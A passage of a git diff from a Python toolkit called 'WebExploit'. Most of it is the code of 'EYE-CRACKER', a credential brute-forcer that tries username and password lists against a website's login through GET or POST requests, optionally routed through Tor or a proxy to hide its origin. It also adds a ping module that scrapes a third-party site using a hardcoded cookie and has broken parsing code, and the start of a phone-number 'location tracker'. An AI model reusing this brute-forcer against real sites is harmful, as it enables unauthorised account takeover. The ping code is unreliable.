[{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + continue + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + continue + try: + t.sleep(slep) + except: + pass + + except ConnectionError: # tor error + print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n') + t.sleep(3) + print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n') + sys.exit(0) + #break + + def WithProxy(): + if method == 'get' or method == 'get-form': + _proxy = { + 'http': proxy_type+'://localhost:9050', + 'https': proxy_type+'://localhost:9050' + } + tor_error = 'ConnectionError' + + for user in user_names: + for pwd in passwords: + try: + result = r.get(url, headers=headers, proxies=_proxy) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + # continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + try: + t.sleep(slep) + except: + pass + except ConnectionError: + continue + # print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/TorError{f.WHITE}] Forgot Run Tor? | EYE CRACKER STOPED ! PLEASE RUN {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n') + # t.sleep(3) + # print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n') + # sys.exit(0) + #break + if method == 'post' or method == 'post-form': + _proxy = { + 'http': proxy_type+'://localhost:9050', + 'https': proxy_type+'://localhost:9050' + } + + + for user in user_names: + final_user_dataa = user_data.replace('$USER$',user) + for pwd in passwords: + final_user_data = final_user_dataa.replace('$PASSWORD$', pwd) + try: + result = r.post(url, headers=headers, data=final_user_data ,proxies=_proxy) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + continue + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + continue + try: + t.sleep(slep) + except: + pass + + except ConnectionError: + continue + # print(f'\n {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{white}@{nbold}{l_red}/ProxyError{f.WHITE}] Forgot check proxies? | EYE CRACKER STOPED ! PLEASE check {bold}{l_green}TOR{white}{nbold} IN A {bold}NEW TAB{nbold} AND TRY AGAN {nbold}\n') + #t.sleep(3) + #print(f'\n {f.WHITE}[{f.GREEN}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] EXITTING . . . {nbold}\n') + #sys.exit(0) + #break + + + def noProxy(): + if method == 'get' or method == 'get-form': + for user in user_names: + for pwd in passwords: + try: + result = r.get(url, headers=headers) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{white}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + # continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}{white}]<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + try: + t.sleep(slep) + except: + pass + except: + pass + #break + if method == 'post' or method == 'post-form': + + + for user in user_names: + final_user_dataa = user_data.replace('$USER$',user) + for pwd in passwords: + final_user_data = final_user_dataa.replace('$PASSWORD$', pwd) + try: + result = r.post(url, headers=headers, data=final_user_data) + result_text = result.text + + if auth_type == 'true': + if auth_text in result_text: + #print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + #print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + continue + + + if auth_type == 'false': + if auth_text not in result_text: + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold} ~ [{bold}{l_gray}URL{white}{nbold}]-[{bold}{l_gray}{urll}]{nbold}---[STATUS]---[%s]\n' % (str(result.status_code))) + t.sleep(1) + print (f' {f.WHITE}[{l_green}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_green}TRUE{nbold}{white}]>[{bold}{l_gray}AUTH TEXT{nbold}{white}]---[{l_gray}{auth_text}{white}]---[{l_green} WAS {bold}NOT FOUND{nbold} IN SITE !{nbold}{white}]') + break + else: + continue + else: + print (f' {f.WHITE}[{l_red}{bold}EYE-CRACKER{f.WHITE}{nbold}]{f.CYAN}<[{bold}{l_red}FALSE{nbold}{white}]>[{bold}{l_gray}USERNAME{white}{nbold}]---[{bold}{l_gray}{user}] | [{bold}{l_gray}PASSWORD{white}{nbold}]---[{bold}{l_gray}{pwd}]{nbold}\n') + continue + try: + t.sleep(slep) + except: + pass + + except: + pass + #break + + if tor_use == True: + WithTor() + if proxy_use == True: + WithProxy() + else: + noProxy() + + + diff --git a/cores/ping.py b/cores/ping.py new file mode 100644 index 0000000..b1c538a --- /dev/null +++ b/cores/ping.py @@ -0,0 +1,219 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + try: + import time as t + from colorama import Fore as f + import sys, os + from random import choice + from bs4 import BeautifulSoup as bs + import json + import requests as r + #r = requests.Session() + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ▄████▄ █████ ▄▄▄▄ + ▒██▀ ▀█ ▓██ ▓█████▄ + ▒▓█ ▄ ▒████ ▒██▒ ▄██ + ▒▓▓▄ ▄██ ░▓█▒ ▒██░█▀ + ▒ ▓███▀ ▒░▒█░ ▒░▓█ ▀█▓ + ░ ░▒ ▒ ░ ▒ ░ ░░▒▓███▀▒ + ░ ▒ ░ ░ ░▒░▒ ░ + ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ''', ''' + ▄▄· ·▄▄▄ ▄▄▄▄· + ▐█ ▌▪ █ · ▐█ ▀█▪ + ██ ▄▄ █▀▀▪ ▐█▀▀█▄ + ▐███▌ ██ . ██▄▪▐█ + ·▀▀▀ ▀▀▀ ·▀▀▀▀ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + ping = 'https://www.broadbandsearch.net/network-tools/ping' + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}P.I.N.G-online{f.GREEN}]{f.WHITE}{f.RED} P.I.N.G{f.WHITE}{bold} ONLINE PING TOOL {nbold} T00L !\n\n\n') + t.sleep(3) + + + while True: + try: + url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.I.N.G/{bold}URL{nbold}{f.WHITE} enter \'{bold}URL or IP{nbold}\' [ex: youtube.com | 1.1.1.1]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if url: + if 'http' not in url: + break + if 'https://' not in url: + break + else: + print(f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] ENTER URL WITHOUT {bold}HTTP:// OR HTTPS://{nbold} TRY AGAIN . . .\n') + t.sleep(1) + continue + else: + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + finally: + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}PING/{f.WHITE}URL >>>{bold}{f.CYAN} {url} {nbold}{f.WHITE}] \n') + print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}PING/{f.CYAN}STATUS{f.WHITE}] Try Requesting . . . {bold}{f.YELLOW} Please Wait{nbold} . . .\n') + t.sleep(2) + d = 'domain=$' + data = d.replace('$',url) + #data = {'domain':'1.1.1.1'} + + hed = {'Host': 'www.broadbandsearch.net', + 'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0', + 'Accept': '*/*', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Content-Length': '16', + 'Origin': 'https://www.broadbandsearch.net', + 'Connection': 'keep-alive', + 'Cookie': '_ga_F8CJ2KC6JR=GS1.1.1673472546.1.1.1673472850.0.0.0; _ga=GA1.2.638612145.1673472546; __gads=ID=6f95f94f84659bb4-22c69e6f4cd8002f:T=1673472550:RT=1673472550:S=ALNI_MaoiRZ2kMjsMTDYg7KJlYKFQ0UEyQ; __gpi=UID=00000bbff5daf570:T=1673472550:RT=1673472550:S=ALNI_MZ84xWSr3jUcf5vm7IqTGX4F7IhAQ; _gid=GA1.2.2145156682.1673472547', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin'} + + while True: + try: + ping_data = r.post(ping, headers=hed, data=data) + if ping_data: + break + else: + continue + except Exception as error: + print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}PING/{f.GREEN}REQUEST-ERROR{white}] {nbold}{f.RED} ERROR :{white}\'{red}{bold}{error}{nbold}\' | Requesting Again . . . \n') + continue + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + + + + data_text = ping_data.text + #ping_ = data_text.replace('
', '\n') + + + + da = bs(data_text, 'html.parser') + + data = bs(data_text, 'html.parser') + print(da) + test, status = data.find_all('p') + d = '' + d = da.replace('

','\n') + dd = d.replace('','\t\t\n') + ddd = dd.replace('
','\t\t\n') + dddd = dddd.replace('
','\t\t\n') + print(dddd) + + + data_json = json.loads(dddd) + final = data_json['data'] + + t.sleep(1) + + test = test.text + status = status.text + + + + print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS >>>{bold}{f.GREEN} {status} {nbold}{f.WHITE}] \n\n') + t.sleep(3) + print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS: {bold}{f.BLUE} {final} {nbold}{f.WHITE}] \n\n') + t.sleep(2) + print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS >>>{bold}{f.CYAN} {test} {nbold}{f.WHITE}]\n') + + + + + + + diff --git a/cores/pnt.py b/cores/pnt.py new file mode 100644 index 0000000..0e764cb --- /dev/null +++ b/cores/pnt.py @@ -0,0 +1,143 @@ + +def run(): + ''' + 'MJI 3> M' + _____________ + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + from sys import argv, exit + import time as t + from colorama import Fore as f + from random import choice + import phonenumbers + from phonenumbers import carrier, geocoder, timezone + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + bnr = [""] + def r_bnr(bnr): + return choice(bnr) + print(f'{bold}') + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + print(f'{red}{bold}', end='', flush=True) + #create flush text [simple] + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print (f'\n {bold}{f.GREEN}[{f.WHITE}PLT{f.GREEN}]{f.WHITE}{f.RED} P.L.T{f.WHITE}{bold} P{nbold}honeNnumber{nbold}L{bold}ocation{bold} T{nbold}racker{nbold}\n\n\n') + t.sleep(3) + + phoneNumber : str = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.N.T/{bold}Phonenumber-Location-Tracker{nbold}{f.WHITE} enter \'PHONE-{bold}NUMBER{nbold}\' | (ex: +447387384578):#{f.GREEN}{bold} ') + Region : str = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.N.T/{bold}Region-{bold}NUMBER{nbold}\' | (ex: IR, US, IN, or ....):#{f.GREEN}{bold} ') + Number : str = phonenumbers.parse(phoneNumber, Region) + regionCode : str = phonenumbers.region_code_for_number(Number) + provider : str = carrier.name_for_number(Number, "en") + loc : str = geocoder.description_for_number(Number, "id") + isValid : str = phonenumbers.is_valid_number(Number) + isPossible : str = phonenumbers.is_possible_number(Number) + formattedNum : str = phonenumbers.format_number(Number, phonenumbers.PhoneNumberFormat.INTERNATIONAL) + formattedNumMobile : str = phonenumbers.format_number_for_mobile_dialing(Number, Region,with_formatting=True) + numberType : str = phonenumbers.number_type(Number) + timezone1 : str = timezone.time_zones_for_number(Number) + timezoneM : str = ', '.join(timezone1) + + def phoneDetector() -> str: + if numberType == phonenumbers.PhoneNumberType.MOBILE: + return "mobile number" + elif numberType == phonenumbers.PhoneNumberType.FIXED_LINE: + return "fixed line number" + else: + return "another type of number" + + + print (f'\n\n {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}Location{nbold}{f.WHITE} >>> {bold}{green}{bold}{loc}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}RegionCode{nbold}{f.WHITE} >>> 